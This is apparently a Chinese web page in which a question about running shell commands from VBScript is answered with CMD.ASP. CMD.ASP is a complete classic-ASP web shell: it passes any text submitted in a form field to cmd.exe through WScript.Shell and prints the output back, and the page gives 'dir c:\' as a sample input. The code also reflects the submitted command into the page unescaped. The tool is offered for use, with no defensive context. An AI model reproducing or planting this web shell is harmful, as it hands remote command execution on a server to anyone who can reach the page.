＋设为首页 ＋添加到收藏夹
好象很难做啊，又没有VB里的shell函数可用，不知道vbscript里支持这样的功能吗？
CMD.ASP
<div align=center>
<%
Dim oScript
Dim oScriptNet
Dim oFileSys,oFile
On Error Resume Next
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
szCMD = Request.Form(".CMD")
If szCMD<>"" Then
szTempFile=Server.MapPath("\") & "\" & oFileSys.GetTempName()
Call oScript.Run ("cmd.exe /c" & szCMD & ">" & szTempFile,0,True)
Set oFile=oFileSys.OpenTextFile(szTempFile,1,False,0)
End If
%>
<Form action="<%=Request.ServerVariables("URL")%>" method="post">
<input type=text name=".CMD" value="<%=szCMD%>" style="width:670px;">
<input type=submit value=" Run ">
</Form>
<%
If IsObject(oFile) Then
On Error Resume Next
Response.Write("<textarea style=height:400px;width:730px>" & oFile.ReadAll & "</textarea>")
oFile.Close
Call oFileSys.DeleteFile(szTempFile,True)
End if
%>
</div>
例子：
┌──────┐
│dir c:\ │
└──────┘
